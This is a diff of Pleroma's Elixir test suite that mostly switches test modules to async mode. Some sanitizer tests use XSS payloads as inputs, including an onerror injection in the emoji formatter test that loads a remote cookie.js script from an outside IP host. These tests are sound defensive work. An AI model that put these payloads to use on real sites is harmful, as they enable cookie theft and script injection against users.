	})

	{:ok, _direct4} =
	CommonAPI.post(blocked, %{
	status: "Hi @#{blocker.nickname}, @#{third_user.nickname}",
	visibility: "direct"
	})

	assert [%{read: false}, %{read: false}, %{read: false}, %{read: false}] =
	Participation.for_user(blocker)

	assert Participation.unread_count(blocker) == 4

	{:ok, _user_relationship} = User.block(blocker, blocked)

	# The conversations with the blocked user are marked as read
	assert [%{read: true}, %{read: true}, %{read: true}, %{read: false}] =
	Participation.for_user(blocker)

	assert Participation.unread_count(blocker) == 1

	# The conversation is not marked as read for the blocked user
	assert [_, _, %{read: false}] = Participation.for_user(blocked)
	assert Participation.unread_count(blocker) == 1

	# The conversation is not marked as read for the third user
	assert [%{read: false}, _, _] = Participation.for_user(third_user)
	assert Participation.unread_count(third_user) == 1
	end

	test "the new conversation with the blocked user is not marked as unread " do
	blocker = insert(:user)
	blocked = insert(:user)
	third_user = insert(:user)

	{:ok, _user_relationship} = User.block(blocker, blocked)

	# When the blocked user is the author
	{:ok, _direct1} =
	CommonAPI.post(blocked, %{
	status: "Hi @#{blocker.nickname}",
	visibility: "direct"
	})

	assert [%{read: true}] = Participation.for_user(blocker)
	assert Participation.unread_count(blocker) == 0

	# When the blocked user is a recipient
	{:ok, _direct2} =
	CommonAPI.post(third_user, %{
	status: "Hi @#{blocker.nickname}, @#{blocked.nickname}",
	visibility: "direct"
	})

	assert [%{read: true}, %{read: true}] = Participation.for_user(blocker)
	assert Participation.unread_count(blocker) == 0

	assert [%{read: false}, _] = Participation.for_user(blocked)
	assert Participation.unread_count(blocked) == 1
	end

	test "the conversation with the blocked user is not marked as unread on a reply" do
	blocker = insert(:user)
	blocked = insert(:user)
	third_user = insert(:user)

	{:ok, _direct1} =
	CommonAPI.post(blocker, %{
	status: "Hi @#{third_user.nickname}, @#{blocked.nickname}",
	visibility: "direct"
	})

	{:ok, _user_relationship} = User.block(blocker, blocked)
	assert [%{read: true}] = Participation.for_user(blocker)

	assert Participation.unread_count(blocker) == 0
	assert [blocked_participation] = Participation.for_user(blocked)

	# When it's a reply from the blocked user
	{:ok, _direct2} =
	CommonAPI.post(blocked, %{
	status: "reply",
	visibility: "direct",
	in_reply_to_conversation_id: blocked_participation.id
	})

	assert [%{read: true}] = Participation.for_user(blocker)

	assert Participation.unread_count(blocker) == 0
	assert [third_user_participation] = Participation.for_user(third_user)

	# When it's a reply from the third user
	{:ok, _direct3} =
	CommonAPI.post(third_user, %{
	status: "reply",
	visibility: "direct",
	in_reply_to_conversation_id: third_user_participation.id
	})

	assert [%{read: true}] = Participation.for_user(blocker)
	assert Participation.unread_count(blocker) == 0

	# Marked as unread for the blocked user
	assert [%{read: false}] = Participation.for_user(blocked)

	assert Participation.unread_count(blocked) == 1
	end
	end
	end
	diff --git a/test/pleroma/earmark_renderer_test.exs b/test/pleroma/earmark_renderer_test.exs
	index 220d97d16..73aaec7f4 100644
	--- a/test/pleroma/earmark_renderer_test.exs
	+++ b/test/pleroma/earmark_renderer_test.exs
	@@ -1,79 +1,79 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only
	defmodule Pleroma.EarmarkRendererTest do
	- use ExUnit.Case
	+ use Pleroma.DataCase, async: true

	test "Paragraph" do
	code = ~s[Hello\n\nWorld!]
	result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer})
	assert result == "<p>Hello</p><p>World!</p>"
	end

	test "raw HTML" do
	code = ~s[<a href="http://example.org/">OwO</a><!-- what's this?-->]
	result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer})
	assert result == "<p>#{code}</p>"
	end

	test "rulers" do
	code = ~s[before\n\n-----\n\nafter]
	result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer})
	assert result == "<p>before</p><hr /><p>after</p>"
	end

	test "headings" do
	code = ~s[# h1\n## h2\n### h3\n]
	result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer})
	assert result == ~s[<h1>h1</h1><h2>h2</h2><h3>h3</h3>]
	end

	test "blockquote" do
	code = ~s[> whoms't are you quoting?]
	result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer})
	assert result == "<blockquote><p>whoms’t are you quoting?</p></blockquote>"
	end

	test "code" do
	code = ~s[`mix`]
	result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer})
	assert result == ~s[<p><code class="inline">mix</code></p>]

	code = ~s[``mix``]
	result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer})
	assert result == ~s[<p><code class="inline">mix</code></p>]

	code = ~s[```\nputs "Hello World"\n```]
	result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer})
	assert result == ~s[<pre><code class="">puts "Hello World"</code></pre>]
	end

	test "lists" do
	code = ~s[- one\n- two\n- three\n- four]
	result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer})
	assert result == "<ul><li>one</li><li>two</li><li>three</li><li>four</li></ul>"

	code = ~s[1. one\n2. two\n3. three\n4. four\n]
	result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer})
	assert result == "<ol><li>one</li><li>two</li><li>three</li><li>four</li></ol>"
	end

	test "delegated renderers" do
	code = ~s[a<br/>b]
	result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer})
	assert result == "<p>#{code}</p>"

	code = ~s[aaaa~]
	result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer})
	assert result == ~s[<p><em>aaaa~</em></p>]

	code = ~s[aaaa~]
	result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer})
	assert result == ~s[<p><strong>aaaa~</strong></p>]

	# strikethrought
	code = ~s[<del>aaaa~</del>]
	result = Earmark.as_html!(code, %Earmark.Options{renderer: Pleroma.EarmarkRenderer})
	assert result == ~s[<p><del>aaaa~</del></p>]
	end
	end
	diff --git a/test/pleroma/ecto_type/activity_pub/object_validators/date_time_test.exs b/test/pleroma/ecto_type/activity_pub/object_validators/date_time_test.exs
	index 812463454..a8471e2e3 100644
	--- a/test/pleroma/ecto_type/activity_pub/object_validators/date_time_test.exs
	+++ b/test/pleroma/ecto_type/activity_pub/object_validators/date_time_test.exs
	@@ -1,36 +1,36 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.EctoType.ActivityPub.ObjectValidators.DateTimeTest do
	alias Pleroma.EctoType.ActivityPub.ObjectValidators.DateTime
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	test "it validates an xsd:Datetime" do
	valid_strings = [
	"2004-04-12T13:20:00",
	"2004-04-12T13:20:15.5",
	"2004-04-12T13:20:00-05:00",
	"2004-04-12T13:20:00Z"
	]

	invalid_strings = [
	"2004-04-12T13:00",
	"2004-04-1213:20:00",
	"99-04-12T13:00",
	"2004-04-12"
	]

	assert {:ok, "2004-04-01T12:00:00Z"} == DateTime.cast("2004-04-01T12:00:00Z")

	Enum.each(valid_strings, fn date_time ->
	result = DateTime.cast(date_time)
	assert {:ok, _} = result
	end)

	Enum.each(invalid_strings, fn date_time ->
	result = DateTime.cast(date_time)
	assert :error == result
	end)
	end
	end
	diff --git a/test/pleroma/ecto_type/activity_pub/object_validators/object_id_test.exs b/test/pleroma/ecto_type/activity_pub/object_validators/object_id_test.exs
	index 732e2365f..3b6006854 100644
	--- a/test/pleroma/ecto_type/activity_pub/object_validators/object_id_test.exs
	+++ b/test/pleroma/ecto_type/activity_pub/object_validators/object_id_test.exs
	@@ -1,41 +1,41 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.EctoType.ActivityPub.ObjectValidators.ObjectIDTest do
	alias Pleroma.EctoType.ActivityPub.ObjectValidators.ObjectID
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	@uris [
	"http://lain.com/users/lain",
	"http://lain.com",
	"https://lain.com/object/1"
	]

	@non_uris [
	"https://",
	"rin",
	1,
	:x,
	%{"1" => 2}
	]

	test "it accepts http uris" do
	Enum.each(@uris, fn uri ->
	assert {:ok, uri} == ObjectID.cast(uri)
	end)
	end

	test "it accepts an object with a nested uri id" do
	Enum.each(@uris, fn uri ->
	assert {:ok, uri} == ObjectID.cast(%{"id" => uri})
	end)
	end

	test "it rejects non-uri strings" do
	Enum.each(@non_uris, fn non_uri ->
	assert :error == ObjectID.cast(non_uri)
	assert :error == ObjectID.cast(%{"id" => non_uri})
	end)
	end
	end
	diff --git a/test/pleroma/ecto_type/activity_pub/object_validators/recipients_test.exs b/test/pleroma/ecto_type/activity_pub/object_validators/recipients_test.exs
	index 2e6a0c83d..b7eb59ab0 100644
	--- a/test/pleroma/ecto_type/activity_pub/object_validators/recipients_test.exs
	+++ b/test/pleroma/ecto_type/activity_pub/object_validators/recipients_test.exs
	@@ -1,31 +1,31 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.EctoType.ActivityPub.ObjectValidators.RecipientsTest do
	alias Pleroma.EctoType.ActivityPub.ObjectValidators.Recipients
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	test "it asserts that all elements of the list are object ids" do
	list = ["https://lain.com/users/lain", "invalid"]

	assert :error == Recipients.cast(list)
	end

	test "it works with a list" do
	list = ["https://lain.com/users/lain"]
	assert {:ok, list} == Recipients.cast(list)
	end

	test "it works with a list with whole objects" do
	list = ["https://lain.com/users/lain", %{"id" => "https://gensokyo.2hu/users/raymoo"}]
	resulting_list = ["https://gensokyo.2hu/users/raymoo", "https://lain.com/users/lain"]
	assert {:ok, resulting_list} == Recipients.cast(list)
	end

	test "it turns a single string into a list" do
	recipient = "https://lain.com/users/lain"

	assert {:ok, [recipient]} == Recipients.cast(recipient)
	end
	end
	diff --git a/test/pleroma/ecto_type/activity_pub/object_validators/safe_text_test.exs b/test/pleroma/ecto_type/activity_pub/object_validators/safe_text_test.exs
	index 7eddd2388..154363f68 100644
	--- a/test/pleroma/ecto_type/activity_pub/object_validators/safe_text_test.exs
	+++ b/test/pleroma/ecto_type/activity_pub/object_validators/safe_text_test.exs
	@@ -1,30 +1,30 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.EctoType.ActivityPub.ObjectValidators.SafeTextTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.EctoType.ActivityPub.ObjectValidators.SafeText

	test "it lets normal text go through" do
	text = "hey how are you"
	assert {:ok, text} == SafeText.cast(text)
	end

	test "it removes html tags from text" do
	text = "hey look xss <script>alert('foo')</script>"
	assert {:ok, "hey look xss alert('foo')"} == SafeText.cast(text)
	end

	test "it keeps basic html tags" do
	text = "hey <a href='http://gensokyo.2hu'>look</a> xss <script>alert('foo')</script>"

	assert {:ok, "hey <a href=\"http://gensokyo.2hu\">look</a> xss alert('foo')"} ==
	SafeText.cast(text)
	end

	test "errors for non-text" do
	assert :error == SafeText.cast(1)
	end
	end
	diff --git a/test/pleroma/emails/admin_email_test.exs b/test/pleroma/emails/admin_email_test.exs
	index 0da0699cc..9aaf7b04f 100644
	--- a/test/pleroma/emails/admin_email_test.exs
	+++ b/test/pleroma/emails/admin_email_test.exs
	@@ -1,69 +1,69 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Emails.AdminEmailTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import Pleroma.Factory

	alias Pleroma.Emails.AdminEmail
	alias Pleroma.Web.Router.Helpers

	test "build report email" do
	config = Pleroma.Config.get(:instance)
	to_user = insert(:user)
	reporter = insert(:user)
	account = insert(:user)

	res =
	AdminEmail.report(to_user, reporter, account, [%{name: "Test", id: "12"}], "Test comment")

	status_url = Helpers.o_status_url(Pleroma.Web.Endpoint, :notice, "12")
	reporter_url = reporter.ap_id
	account_url = account.ap_id

	assert res.to == [{to_user.name, to_user.email}]
	assert res.from == {config[:name], config[:notify_email]}
	assert res.subject == "#{config[:name]} Report"

	assert res.html_body ==
	"<p>Reported by: <a href=\"#{reporter_url}\">#{reporter.nickname}</a></p>\n<p>Reported Account: <a href=\"#{
	account_url
	}\">#{account.nickname}</a></p>\n<p>Comment: Test comment\n<p> Statuses:\n <ul>\n <li><a href=\"#{
	status_url
	}\">#{status_url}</li>\n </ul>\n</p>\n\n<p>\n<a href=\"http://localhost:4001/pleroma/admin/#/reports/index\">View Reports in AdminFE</a>\n"
	end

	test "it works when the reporter is a remote user without email" do
	config = Pleroma.Config.get(:instance)
	to_user = insert(:user)
	reporter = insert(:user, email: nil, local: false)
	account = insert(:user)

	res =
	AdminEmail.report(to_user, reporter, account, [%{name: "Test", id: "12"}], "Test comment")

	assert res.to == [{to_user.name, to_user.email}]
	assert res.from == {config[:name], config[:notify_email]}
	end

	test "new unapproved registration email" do
	config = Pleroma.Config.get(:instance)
	to_user = insert(:user)
	account = insert(:user, registration_reason: "Plz let me in")

	res = AdminEmail.new_unapproved_registration(to_user, account)

	account_url = account.ap_id

	assert res.to == [{to_user.name, to_user.email}]
	assert res.from == {config[:name], config[:notify_email]}
	assert res.subject == "New account up for review on #{config[:name]} (@#{account.nickname})"

	assert res.html_body == """
	<p>New account for review: <a href="#{account_url}">@#{account.nickname}</a></p>
	<blockquote>Plz let me in</blockquote>
	<a href="http://localhost:4001/pleroma/admin/#/users/#{account.id}/">Visit AdminFE</a>
	"""
	end
	end
	diff --git a/test/pleroma/emails/user_email_test.exs b/test/pleroma/emails/user_email_test.exs
	index a214e59a7..bd21d8dec 100644
	--- a/test/pleroma/emails/user_email_test.exs
	+++ b/test/pleroma/emails/user_email_test.exs
	@@ -1,59 +1,59 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Emails.UserEmailTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Emails.UserEmail
	alias Pleroma.Web.Endpoint
	alias Pleroma.Web.Router

	import Pleroma.Factory

	test "build password reset email" do
	config = Pleroma.Config.get(:instance)
	user = insert(:user)
	email = UserEmail.password_reset_email(user, "test_token")
	assert email.from == {config[:name], config[:notify_email]}
	assert email.to == [{user.name, user.email}]
	assert email.subject == "Password reset"
	assert email.html_body =~ Router.Helpers.reset_password_url(Endpoint, :reset, "test_token")
	end

	test "build user invitation email" do
	config = Pleroma.Config.get(:instance)
	user = insert(:user)
	token = %Pleroma.UserInviteToken{token: "test-token"}
	email = UserEmail.user_invitation_email(user, token, "test@test.com", "Jonh")
	assert email.from == {config[:name], config[:notify_email]}
	assert email.subject == "Invitation to Pleroma"
	assert email.to == [{"Jonh", "test@test.com"}]

	assert email.html_body =~
	Router.Helpers.redirect_url(Endpoint, :registration_page, token.token)
	end

	test "build account confirmation email" do
	config = Pleroma.Config.get(:instance)
	user = insert(:user, confirmation_token: "conf-token")
	email = UserEmail.account_confirmation_email(user)
	assert email.from == {config[:name], config[:notify_email]}
	assert email.to == [{user.name, user.email}]
	assert email.subject == "#{config[:name]} account confirmation"

	assert email.html_body =~
	Router.Helpers.confirm_email_url(Endpoint, :confirm_email, user.id, "conf-token")
	end

	test "build approval pending email" do
	config = Pleroma.Config.get(:instance)
	user = insert(:user)
	email = UserEmail.approval_pending_email(user)

	assert email.from == {config[:name], config[:notify_email]}
	assert email.to == [{user.name, user.email}]
	assert email.subject == "Your account is awaiting approval"
	assert email.html_body =~ "Awaiting Approval"
	end
	end
	diff --git a/test/pleroma/emoji/formatter_test.exs b/test/pleroma/emoji/formatter_test.exs
	index 12af6cd8b..096d23ca6 100644
	--- a/test/pleroma/emoji/formatter_test.exs
	+++ b/test/pleroma/emoji/formatter_test.exs
	@@ -1,49 +1,49 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Emoji.FormatterTest do
	alias Pleroma.Emoji.Formatter
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	describe "emojify" do
	test "it adds cool emoji" do
	text = "I love :firefox:"

	expected_result =
	"I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\"/>"

	assert Formatter.emojify(text) == expected_result
	end

	test "it does not add XSS emoji" do
	text =
	"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"

	custom_emoji =
	{
	"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
	"https://placehold.it/1x1"
	}
	\|> Pleroma.Emoji.build()

	refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text
	end
	end

	describe "get_emoji_map" do
	test "it returns the emoji used in the text" do
	assert Formatter.get_emoji_map("I love :firefox:") == %{
	"firefox" => "http://localhost:4001/emoji/Firefox.gif"
	}
	end

	test "it returns a nice empty result when no emojis are present" do
	assert Formatter.get_emoji_map("I love moominamma") == %{}
	end

	test "it doesn't die when text is absent" do
	assert Formatter.get_emoji_map(nil) == %{}
	end
	end
	end
	diff --git a/test/pleroma/emoji/pack_test.exs b/test/pleroma/emoji/pack_test.exs
	index 70d1eaa1b..158dfee06 100644
	--- a/test/pleroma/emoji/pack_test.exs
	+++ b/test/pleroma/emoji/pack_test.exs
	@@ -1,93 +1,93 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Emoji.PackTest do
	- use ExUnit.Case, async: true
	+ use Pleroma.DataCase
	alias Pleroma.Emoji.Pack

	@emoji_path Path.join(
	Pleroma.Config.get!([:instance, :static_dir]),
	"emoji"
	)

	setup do
	pack_path = Path.join(@emoji_path, "dump_pack")
	File.mkdir(pack_path)

	File.write!(Path.join(pack_path, "pack.json"), """
	{
	"files": { },
	"pack": {
	"description": "Dump pack", "homepage": "https://pleroma.social",
	"license": "Test license", "share-files": true
	}}
	""")

	{:ok, pack} = Pleroma.Emoji.Pack.load_pack("dump_pack")

	on_exit(fn ->
	File.rm_rf!(pack_path)
	end)

	{:ok, pack: pack}
	end

	describe "add_file/4" do
	test "add emojies from zip file", %{pack: pack} do
	file = %Plug.Upload{
	content_type: "application/zip",
	filename: "emojis.zip",
	path: Path.absname("test/fixtures/emojis.zip")
	}

	{:ok, updated_pack} = Pack.add_file(pack, nil, nil, file)

	assert updated_pack.files == %{
	"a_trusted_friend-128" => "128px/a_trusted_friend-128.png",
	"auroraborealis" => "auroraborealis.png",
	"baby_in_a_box" => "1000px/baby_in_a_box.png",
	"bear" => "1000px/bear.png",
	"bear-128" => "128px/bear-128.png"
	}

	assert updated_pack.files_count == 5
	end
	end

	test "returns error when zip file is bad", %{pack: pack} do
	file = %Plug.Upload{
	content_type: "application/zip",
	filename: "emojis.zip",
	path: Path.absname("test/instance_static/emoji/test_pack/blank.png")
	}

	assert Pack.add_file(pack, nil, nil, file) == {:error, :einval}
	end

	test "returns pack when zip file is empty", %{pack: pack} do
	file = %Plug.Upload{
	content_type: "application/zip",
	filename: "emojis.zip",
	path: Path.absname("test/fixtures/empty.zip")
	}

	{:ok, updated_pack} = Pack.add_file(pack, nil, nil, file)
	assert updated_pack == pack
	end

	test "add emoji file", %{pack: pack} do
	file = %Plug.Upload{
	filename: "blank.png",
	path: "#{@emoji_path}/test_pack/blank.png"
	}

	{:ok, updated_pack} = Pack.add_file(pack, "test_blank", "test_blank.png", file)

	assert updated_pack.files == %{
	"test_blank" => "test_blank.png"
	}

	assert updated_pack.files_count == 1
	end
	end
	diff --git a/test/pleroma/emoji_test.exs b/test/pleroma/emoji_test.exs
	index 9cfd7b46b..c99c9ef4c 100644
	--- a/test/pleroma/emoji_test.exs
	+++ b/test/pleroma/emoji_test.exs
	@@ -1,57 +1,57 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.EmojiTest do
	- use ExUnit.Case
	+ use ExUnit.Case, async: true
	alias Pleroma.Emoji

	describe "is_unicode_emoji?/1" do
	test "tells if a string is an unicode emoji" do
	refute Emoji.is_unicode_emoji?("X")
	refute Emoji.is_unicode_emoji?("ね")

	# Only accept fully-qualified (RGI) emoji
	# See http://www.unicode.org/reports/tr51/
	refute Emoji.is_unicode_emoji?("❤")
	refute Emoji.is_unicode_emoji?("☂")

	assert Emoji.is_unicode_emoji?("🥺")
	assert Emoji.is_unicode_emoji?("🤰")
	assert Emoji.is_unicode_emoji?("❤️")
	assert Emoji.is_unicode_emoji?("🏳️‍⚧️")

	# Additionally, we accept regional indicators.
	assert Emoji.is_unicode_emoji?("🇵")
	assert Emoji.is_unicode_emoji?("🇴")
	assert Emoji.is_unicode_emoji?("🇬")
	end
	end

	describe "get_all/0" do
	setup do
	emoji_list = Emoji.get_all()
	{:ok, emoji_list: emoji_list}
	end

	test "first emoji", %{emoji_list: emoji_list} do
	[emoji \| _others] = emoji_list
	{code, %Emoji{file: path, tags: tags}} = emoji

	assert tuple_size(emoji) == 2
	assert is_binary(code)
	assert is_binary(path)
	assert is_list(tags)
	end

	test "random emoji", %{emoji_list: emoji_list} do
	emoji = Enum.random(emoji_list)
	{code, %Emoji{file: path, tags: tags}} = emoji

	assert tuple_size(emoji) == 2
	assert is_binary(code)
	assert is_binary(path)
	assert is_list(tags)
	end
	end
	end
	diff --git a/test/pleroma/filter_test.exs b/test/pleroma/filter_test.exs
	index 0a5c4426a..da9515902 100644
	--- a/test/pleroma/filter_test.exs
	+++ b/test/pleroma/filter_test.exs
	@@ -1,158 +1,158 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.FilterTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	import Pleroma.Factory

	alias Pleroma.Filter
	alias Pleroma.Repo

	describe "creating filters" do
	test "creating one filter" do
	user = insert(:user)

	query = %Filter{
	user_id: user.id,
	filter_id: 42,
	phrase: "knights",
	context: ["home"]
	}

	{:ok, %Filter{} = filter} = Filter.create(query)
	result = Filter.get(filter.filter_id, user)
	assert query.phrase == result.phrase
	end

	test "creating one filter without a pre-defined filter_id" do
	user = insert(:user)

	query = %Filter{
	user_id: user.id,
	phrase: "knights",
	context: ["home"]
	}

	{:ok, %Filter{} = filter} = Filter.create(query)
	# Should start at 1
	assert filter.filter_id == 1
	end

	test "creating additional filters uses previous highest filter_id + 1" do
	user = insert(:user)

	query_one = %Filter{
	user_id: user.id,
	filter_id: 42,
	phrase: "knights",
	context: ["home"]
	}

	{:ok, %Filter{} = filter_one} = Filter.create(query_one)

	query_two = %Filter{
	user_id: user.id,
	# No filter_id
	phrase: "who",
	context: ["home"]
	}

	{:ok, %Filter{} = filter_two} = Filter.create(query_two)
	assert filter_two.filter_id == filter_one.filter_id + 1
	end

	test "filter_id is unique per user" do
	user_one = insert(:user)
	user_two = insert(:user)

	query_one = %Filter{
	user_id: user_one.id,
	phrase: "knights",
	context: ["home"]
	}

	{:ok, %Filter{} = filter_one} = Filter.create(query_one)

	query_two = %Filter{
	user_id: user_two.id,
	phrase: "who",
	context: ["home"]
	}

	{:ok, %Filter{} = filter_two} = Filter.create(query_two)

	assert filter_one.filter_id == 1
	assert filter_two.filter_id == 1

	result_one = Filter.get(filter_one.filter_id, user_one)
	assert result_one.phrase == filter_one.phrase

	result_two = Filter.get(filter_two.filter_id, user_two)
	assert result_two.phrase == filter_two.phrase
	end
	end

	test "deleting a filter" do
	user = insert(:user)

	query = %Filter{
	user_id: user.id,
	filter_id: 0,
	phrase: "knights",
	context: ["home"]
	}

	{:ok, _filter} = Filter.create(query)
	{:ok, filter} = Filter.delete(query)
	assert is_nil(Repo.get(Filter, filter.filter_id))
	end

	test "getting all filters by an user" do
	user = insert(:user)

	query_one = %Filter{
	user_id: user.id,
	filter_id: 1,
	phrase: "knights",
	context: ["home"]
	}

	query_two = %Filter{
	user_id: user.id,
	filter_id: 2,
	phrase: "who",
	context: ["home"]
	}

	{:ok, filter_one} = Filter.create(query_one)
	{:ok, filter_two} = Filter.create(query_two)
	filters = Filter.get_filters(user)
	assert filter_one in filters
	assert filter_two in filters
	end

	test "updating a filter" do
	user = insert(:user)

	query_one = %Filter{
	user_id: user.id,
	filter_id: 1,
	phrase: "knights",
	context: ["home"]
	}

	changes = %{
	phrase: "who",
	context: ["home", "timeline"]
	}

	{:ok, filter_one} = Filter.create(query_one)
	{:ok, filter_two} = Filter.update(filter_one, changes)

	assert filter_one != filter_two
	assert filter_two.phrase == changes.phrase
	assert filter_two.context == changes.context
	end
	end
	diff --git a/test/pleroma/following_relationship_test.exs b/test/pleroma/following_relationship_test.exs
	index 17a468abb..f0d2c3846 100644
	--- a/test/pleroma/following_relationship_test.exs
	+++ b/test/pleroma/following_relationship_test.exs
	@@ -1,47 +1,47 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.FollowingRelationshipTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.FollowingRelationship
	alias Pleroma.Web.ActivityPub.InternalFetchActor
	alias Pleroma.Web.ActivityPub.Relay

	import Pleroma.Factory

	describe "following/1" do
	test "returns following addresses without internal.fetch" do
	user = insert(:user)
	fetch_actor = InternalFetchActor.get_actor()
	FollowingRelationship.follow(fetch_actor, user, :follow_accept)
	assert FollowingRelationship.following(fetch_actor) == [user.follower_address]
	end

	test "returns following addresses without relay" do
	user = insert(:user)
	relay_actor = Relay.get_actor()
	FollowingRelationship.follow(relay_actor, user, :follow_accept)
	assert FollowingRelationship.following(relay_actor) == [user.follower_address]
	end

	test "returns following addresses without remote user" do
	user = insert(:user)
	actor = insert(:user, local: false)
	FollowingRelationship.follow(actor, user, :follow_accept)
	assert FollowingRelationship.following(actor) == [user.follower_address]
	end

	test "returns following addresses with local user" do
	user = insert(:user)
	actor = insert(:user, local: true)
	FollowingRelationship.follow(actor, user, :follow_accept)

	assert FollowingRelationship.following(actor) == [
	actor.follower_address,
	user.follower_address
	]
	end
	end
	end
	diff --git a/test/pleroma/healthcheck_test.exs b/test/pleroma/healthcheck_test.exs
	index e341e6983..a1bc25d25 100644
	--- a/test/pleroma/healthcheck_test.exs
	+++ b/test/pleroma/healthcheck_test.exs
	@@ -1,33 +1,33 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.HealthcheckTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	alias Pleroma.Healthcheck

	test "system_info/0" do
	result = Healthcheck.system_info() \|> Map.from_struct()

	assert Map.keys(result) == [
	:active,
	:healthy,
	:idle,
	:job_queue_stats,
	:memory_used,
	:pool_size
	]
	end

	describe "check_health/1" do
	test "pool size equals active connections" do
	result = Healthcheck.check_health(%Healthcheck{pool_size: 10, active: 10})
	refute result.healthy
	end

	test "chech_health/1" do
	result = Healthcheck.check_health(%Healthcheck{pool_size: 10, active: 9})
	assert result.healthy
	end
	end
	end
	diff --git a/test/pleroma/html_test.exs b/test/pleroma/html_test.exs
	index 7d3756884..9737f2458 100644
	--- a/test/pleroma/html_test.exs
	+++ b/test/pleroma/html_test.exs
	@@ -1,255 +1,255 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.HTMLTest do
	alias Pleroma.HTML
	alias Pleroma.Object
	alias Pleroma.Web.CommonAPI
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	import Pleroma.Factory

	@html_sample """
	<b>this is in bold</b>
	<p>this is a paragraph</p>
	this is a linebreak<br />
	this is a link with allowed "rel" attribute: <a href="http://example.com/" rel="tag">example.com</a>
	this is a link with not allowed "rel" attribute: <a href="http://example.com/" rel="tag noallowed">example.com</a>
	this is an image: <img src="http://example.com/image.jpg"><br />
	<script>alert('hacked')</script>
	"""

	@html_onerror_sample """
	<img src="http://example.com/image.jpg" onerror="alert('hacked')">
	"""

	@html_span_class_sample """
	<span class="animate-spin">hi</span>
	"""

	@html_span_microformats_sample """
	<span class="h-card"><a class="u-url mention">@<span>foo</span></a></span>
	"""

	@html_span_invalid_microformats_sample """
	<span class="h-card"><a class="u-url mention animate-spin">@<span>foo</span></a></span>
	"""

	describe "StripTags scrubber" do
	test "works as expected" do
	expected = """
	this is in bold
	this is a paragraph
	this is a linebreak
	this is a link with allowed "rel" attribute: example.com
	this is a link with not allowed "rel" attribute: example.com
